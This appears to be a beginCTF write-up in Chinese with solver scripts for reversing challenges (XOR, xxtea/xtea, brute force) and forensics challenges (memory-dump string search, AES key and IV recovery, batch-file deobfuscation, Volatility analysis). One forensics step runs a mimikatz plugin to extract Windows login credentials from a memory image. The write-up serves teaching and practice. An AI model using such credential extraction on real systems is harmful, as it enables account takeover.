secret = [7, 31, 56, 25, 23, 15, 91, 21, 49, 15, 33, 88, 26, 48, 60, 58, 4, 86, 36, 64, 23, 54, 63, 0, 54, 22, 6, 55, 59, 38, 108, 39, 45, 23, 102, 27, 11, 56, 32, 0, 82, 24]
key = "ez_python_xor_reverse"
for i in range(len(secret)):
    print(chr(secret[i] ^ ord(key[i % len(key)])), end="")

begin{3z_PY7hoN_r3V3rSE_For_TH3_Be9inNEr!}

# arc

或许是我的 pycdc 的问题,这里用 uncompyle6 解会好一点

纸糊的混淆,把前面的数组提出来运行一下就把混淆去了

后面的部分要仔细分析一下,最后加密部分懒得解直接开爆了 hhh

data = [
    [1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0],
    [1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0],
    [1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0],
    [1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0],
    [1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0],
    [1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0],
    [1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0],
    [1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0],
    [1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0],
    [1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0],
    [1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0],
    [1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0],
    [1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0],
    [1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0],
    [1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0],
    [1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0],
    [1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0],
    [1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0],
    [1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0],
    [1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0],
    [1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0],
    [1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0],
    [1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0],
    [1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0],
    [1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0],
    [1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0],
    [1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0],
    [1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0],
    [1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0],
    [1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0],
    [1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0],
    [1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0],
    [1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0],
    [1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0],
    [1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0],
    [1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0],
    [1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0],
    [1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0],
    [1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0],
    [1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0],
    [1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0],
    [1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0]]
for i, lst in enumerate(data):
    for j in range(32, 128):
        n = int("".join([str(x) for x in lst]), 2)
        if sum((j << 6 ^ 4102 - i ^ key for key in b'beginCTF')) == n:
            print(chr(j), end="")
            break

begin{Y@u_aRe_g00d_aT_play1ng_witH_sNake3}

# stick game

孩子不懂事,瞎调试,控制台里丢代码不小心丢出来的 emmm?
img.png
begin{y0u_re4l1y_g07_1337427_2af75ac3d2fe091235f7f012b0a0d95f}

# not main

了解一下 VEH 相关的知识

Handler 里是没魔改的 xxtea,main 里是 xtea,解一下就好了

#include <iostream>
#include <cstdio>
#define MX (((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^ ((sum ^ y) + (key[(p & 3) ^ e] ^ z))) 
//tea 解密
void decrypt(uint32_t* v)
{
    uint32_t l = v[0], r = v[1], i;
    uint32_t delta = 0x9e3779b9;
    uint32_t sum = delta * 32;
    uint32_t k0 = 0x66, k1 = 0x61, k2 = 0x6B, k3 = 0x65;
    for (i = 0; i < 32; i++)
    {
        r -= ((l << 4) + k2) ^ (l + sum) ^ ((l >> 5) + k3);
        l -= ((r << 4) + k0) ^ (r + sum) ^ ((r >> 5) + k1);
        sum -= delta;
    }
    v[0] = l;
    v[1] = r;
}
int main()
{
    // xxtea
    unsigned int v[8] = { 0x0CFBE0F1B, 0x5F3083F, 0x4220E43B, 0x3383AFEE, 0x0FA3237CE, 0x0ECADA66E, 0x0A8D47CA7, 0x0EFC51077 };
    unsigned int key[4] = { 0x74, 0x72, 0x75, 0x65 };
    unsigned int sum = 0;
    unsigned int y, z, p, rounds, e;
    int n = 8;
    int i = 0;
    rounds = 6 + 52 / n;
    y = v[0];
    sum = rounds * 0x9e3779b9;
    do
    {
        e = (sum >> 2) & 3;
        for (p = n - 1; p > 0; p--)
        {
            z = v[p - 1];
            y = v[p] -= MX;
        }
        z = v[n - 1];
        y = v[0] -= MX;
        sum -= 0x9e3779b9;
    } while (--rounds);
    for (size_t i = 0; i < 8; i += 2)
    {
        decrypt(&v[i]);
    }
    for (i = 0; i < n; i++)
    {
        printf("%c%c%c%c", *((char*)&v[i] + 0), *((char*)&v[i] + 1), *((char*)&v[i] + 2), *((char*)&v[i] + 3));
    }
    return 0;
}

# Forensics

# dump dump dump

strings 工具,导出 dmp 文件里的字符串

$ strings dumpv1.DMP > dumpv1.txt

然后搜索 flag , 可以找到有读取文件的代码,通过搜索变量名可以找到如下的代码

密文可以正则匹配 b'.*' 搜到

func_aes 的第二个参数是 AES 的加密模式,1 对应的就是 MODE_ECB , key 可以通过 hint 给的 findaes.exe 来获得

a = beginctfisnice.func_readfile("my_first_beginctf_flag.txt")
aa = beginctfisnice.func_xor(a.decode(),"PYThoN_For3N5IC$_i5_r3aL1Y_w0nDERfu1")
aaa = beginctfisnice.func_aes(aa,1)
aaaa = beginctfisnice.func_special_base64(aaa,"ZzYyXxAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWw0123456789+/")
print(aaaa)
# b'CsQ5vL6LTwtgKyW0bdZKhpN1S/OqiLwI++G1cPD5SfhA0EkXej7RIBk1z9/8mm7fjzE5+THCsGJPOJXRp7JQa18juUtswBQguYi4e2TAHIT='

对应着搓代码解密就好啦

from Crypto.Cipher import AES
import base64
cipher = "CsQ5vL6LTwtgKyW0bdZKhpN1S/OqiLwI++G1cPD5SfhA0EkXej7RIBk1z9/8mm7fjzE5+THCsGJPOJXRp7JQa18juUtswBQguYi4e2TAHIT="
# base64 变表解码
raw_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
new_table = "ZzYyXxAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWw0123456789+/"
trans = str.maketrans(new_table, raw_table)
cipher = cipher.translate(trans)
data = base64.b64decode(cipher)
# AES ECB 模式解密
aes = AES.new(bytes.fromhex("0eeac3e32b31444ab244a415b275b7f7"), AES.MODE_ECB)
data = aes.decrypt(data)
# 解异或
key = "PYThoN_For3N5IC$_i5_r3aL1Y_w0nDERfu1"
for i in range(len(data)):
    print(chr(data[i] ^ ord(key[i % len(key)])), end="")

# dump dump dump 2.0

前面步骤跟 dump dump dump 相同,但是这次修改了 AES 的加密模式,改为了 CBC 模式

除了要找到 key 之外,还需要知道 iv, 不然第一个块没法解密

这里有个技巧,我们知道 flag 的前几位是 begin{ , 那么我们就能爆破出 iv 的前 6 个字节

然后拿到着 6 个字节用 010Editor 搜一下,就能知道剩下的 10 个字节了,iv 就有了

key 同样使用 findaes 工具,得到如下信息

key = bytes.fromhex("c4daabe0a20a9e26ef2ba0833b2cc2e7")
iv = bytes.fromhex("a2b38779985a25bfec905a67809790ec")
a = beginctfisnice.func_readfile("my_second_beginctf_flag.txt")
aa = beginctfisnice.func_xor(a.decode(),"How_@8OuT_53CONd_PARt_0F_FoR3n5ICS!")
aaa = beginctfisnice.func_aes(aa)
aaaa = beginctfisnice.func_special_base64(aaa,"ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/")
print(aaaa)
# b'NhCMHiPvC2WWk3/OxNU10e8yrNm/mR8t3+9PsE9ALnT2xsGFg/dKVUwoU3Egv0lR'

照着解密即可

from Crypto.Cipher import AES
import base64
cipher = "NhCMHiPvC2WWk3/OxNU10e8yrNm/mR8t3+9PsE9ALnT2xsGFg/dKVUwoU3Egv0lR"
# base64 变表解码
raw_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
new_table = "ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/"
trans = str.maketrans(new_table, raw_table)
cipher = cipher.translate(trans)
data = base64.b64decode(cipher)
# AES CBC 模式解密
key = bytes.fromhex("c4daabe0a20a9e26ef2ba0833b2cc2e7")
iv = bytes.fromhex("a2b38779985a25bfec905a67809790ec")
aes = AES.new(key=key, iv=iv, mode=AES.MODE_CBC)
data = aes.decrypt(data)
# 解异或
key = "How_@8OuT_53CONd_PARt_0F_FoR3n5ICS!"
for i in range(len(data)):
    print(chr(data[i] ^ ord(key[i % len(key)])), end="")

# dump dump dump 2.5

前面步骤跟 dump dump dump 2.0 一样,只是出题人直接把 iv 给删了,先找到关键信息

key = bytes.fromhex("0e805c9b86ff8c94ca68a3a5ad8f2836")
a = beginctfisnice.func_readfile("my_second_beginctf_flag.txt")
func_xor(a.decode(),"T1me_For_5ecOnD_P4R7_of_thE$E_FOREN$ICs_hoPe_no_fOr3NSC15")
aaa = beginctfisnice.func_aes(aa)
aaaa = beginctfisnice.func_special_base64(aaa,"ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/")
# b'uBLJX+/zmxZn6oKVymM7t4HbVEiBvv7+kFKf/DZNHkQxF1wC0L1f4DmP5O5GO/H2HfrI+W3SdtSGJKSjVM+qO50SSxpVIJ4YTrE2r/V7bj0='

这题注意的就是这里是内存的 dump,所以可能存在未解密的块

所以我们先根据 flag 头爆破出 iv 的前 6 个字节,补齐 16 个字节得到 3c473e98356c0000000000000000000

然后按流程到 aes 解密,得到 aes 解密后的前 6 个字节
img.png

去 010editor 里搜,得到了第一个块解密后的内容 36 54 0A 0C 31 3D 07 1D 2F 50 3A 37 07 07 37 00
img.png

用他当 iv,解密后得到的前 16 个字节就是真实的 iv 了 3c473e98356c7d27f3232c123925f400

这里直接 CyberChef 解一下了,后面的是 padding 填充的字节,不用管他
img.png

# beginner_Forensics!!!!

网上找个脚本跑一下就好了

import os
def decryption(data):
    if not (data[0] == 0xFF and data[1] == 0xFE):
        print('Batch decryption bom error!')
        return
    if str(data[2:9], encoding="utf-8") != ' &cls\r\n':
        print('Batch decryption cls error!')
        return
    if str(data[9:60], encoding="utf-8") != '::BatchEncryption Build 201610 By gwsbhqt@163.com\r\n':
        print('Batch decryption build error!')
        return
    vars = {}
    # decryption line
    i = 60
    l = len(data)
    while i < l:
        i = run(vars, data, i)
def run(vars, data, i):
    buf = ''
    f = 0
    t = 0
    x = False
    l = len(data)
    while(True):
        if data[i] == 0x0d and data[i+1] == 0x0a:
            i += 2
            break
        # get %var:~x,y% %0
        if data[i] == 0x25:
            if not x:
                x = True
                f = i
            else:
                x = False
                t = i
                rst = var_percent(data[f:t+1], vars)
                buf += rst
        else:
            if not x:
                buf += str(data[i:i+1], encoding="utf-8")
            else:
                if (f + 1 == i) and ((data[i] >= 0x30 and data[i] <= 0x39) or data[i] == 0x2a):
                    x = False
                    t = i
                    rst = str(data[f:t+1], encoding="utf-8")
                    buf += rst
        i += 1
        if i >= l:
            break
    print(buf)
    bufs = buf.split('&@')
    for var in bufs:
        if var[0:4] == 'set ':
            var = var[4:]
            b = var.find('=')
            vars[var[0:b]] = var[b+1:].replace('^^^', '^')
    return i
def var_percent(data, vars):
    full = str(data, encoding="utf-8")
    buf = full[1:len(full)-1]
    buf = buf.split(':~')
    var = buf[0]
    if not var in vars:
        vars[var] = os.getenv(var)
    ent = vars[var]
    if (len(buf) > 1):
        l = len(ent)
        buf = buf[1].split(',')
        f = int(buf[0])
        t = int(buf[1])
        if f < 0:
            f, t = l + f, t
        rst = ent[f: f+t]
    else:
        rst = full
    return rst
encrypt_file = 'forensics'
if __name__ == '__main__':
    try:
        file = open(encrypt_file, "rb")
        data = file.read()
    except Exception as err:
        print('Batch decryption read error:', err)
        exit
    else:
        file.close()
    decryption(data)

# 逆向工程 (reverse) 入门指南

pdftotext 转一下,打开就有 flag 了

$ pdftotext beginctf_逆向工程_入门指南.pdf beginctf_逆向工程_入门指南.txt

# 学取证咯 - cmd

$ vol.py -f 学取证咯.raw imageinfo
... Win7SP1x64 ...
$ vol.py -f 学取证咯.raw --profile=Win7SP1x64 cmdscan

# 学取证咯 - 还记得 ie 吗?

$ vol.py -f 学取证咯.raw --profile=Win7SP1x64 iehistory

# 学取证咯 - 计算机的姓名?

$ vol.py -f 学取证咯.raw --profile=Win7SP1x64 printkey -K "ControlSet001\Control\ComputerName\ComputerName"

# 学取证咯 - 想登录我的计算机吗?

使用 mimikatz 插件

$ vol.py --plugins plugins/ -f 学取证咯.raw --profile=Win7SP1x64 mimikatz

# 学取证咯 - 机密文件

filescan 扫描到桌面有个机密文件.docx,dump 下来打开就是了

# 学取证咯 - 真的是取证吗?

桌面有个 flag_is_here.exe, dump 下来,ida 搜 flag 找到关键函数,发现就一个简单的异或

FLAG_KEY 不知道,直接根据密文的第一位和 flag 的 f 异或,得到 key 为 121

data =[31, 21, 24, 30, 2, 32, 73, 15,
       74, 38, 21, 74, 57, 11, 23, 74,
       29, 38, 17, 73, 15, 15, 38, 13,
       73, 38, 31, 73, 11, 74, 23, 76,
       16, 26, 76, 4]
for i in data:
    print(chr(i ^ 121), end="")

# 饥渴 C 猫 is hacker!

payload.bin 是使用 USB Rubber Ducky 编译 DuckyScript 后生成的文件

github 找到解析工具 Duck-Decoder

解析 payload.bin 就能看到 flag 了